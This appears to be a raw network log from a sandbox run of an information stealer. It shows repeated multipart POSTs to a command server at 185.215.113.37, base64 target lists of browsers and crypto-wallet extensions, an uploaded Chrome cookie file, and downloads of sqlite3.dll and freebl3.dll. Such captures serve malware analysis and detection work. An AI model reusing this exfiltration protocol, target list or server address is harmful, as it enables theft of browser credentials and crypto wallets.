Sep 30, 2024 12:33:08.525996923 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 30, 2024 12:33:08.527256966 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 2d 2d 0d 0a Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="message"plugins------JDBGHIIDAECBFIDHIIDG--
Sep 30, 2024 12:33:08.746423960 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 30, 2024 12:33:08.746438026 CEST	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Sep 30, 2024 12:33:08.746562004 CEST	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Sep 30, 2024 12:33:08.746572018 CEST	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Sep 30, 2024 12:33:08.746586084 CEST	448	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Sep 30, 2024 12:33:08.746639013 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 52 69 59 32 68 76 62 6d 6c 6c 62 47 6c 6b 5a 32 39 69 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 Data Ascii: MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9
Sep 30, 2024 12:33:08.746651888 CEST	1236	IN	Data Raw: 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 52 76 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 Data Ascii: bGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGV
Sep 30, 2024 12:33:08.746665955 CEST	592	IN	Data Raw: 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 Data Ascii: aGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVB
Sep 30, 2024 12:33:08.748516083 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"fplugins------ECBAEBGHDAECBGDGCAKE--
Sep 30, 2024 12:33:08.966941118 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 30, 2024 12:33:08.986553907 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 185.215.113.37 Content-Length: 6035 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:33:08.986625910 CEST	6035	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 30, 2024 12:33:09.826826096 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:10.474960089 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:10.691016912 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 30, 2024 12:33:10.691060066 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 30, 2024 12:33:12.101392984 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEG Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2VnZkxpLXRRbnZpaG81aEtKWEtETmcwa1hJUG5mVGN1d1Y1cjdScWpUODkzcFdHSkY3a2xLcWxkQm9qNHJESnZ4ZkZsZ0RPQ2NXOWFLRG5VOXpJbFVoMkxQMHZPOGszdVQwZ0hKRDFKdlZBY2xrSm5Ld1pHNmhEQWw2MkhyTXhOclVlcVNSLVdGMUotbDlZWWdFCg==------FIDGHIIECGHDHJKFCAEG--
Sep 30, 2024 12:33:12.820261002 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:12.895560026 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file"------EHIJDHCAKKFCBGCBAAEC--
Sep 30, 2024 12:33:13.609433889 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:14.352788925 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file"------KJJJKFIIIJJJECAAEHDB--
Sep 30, 2024 12:33:15.071593046 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:15.517345905 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:15.733537912 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 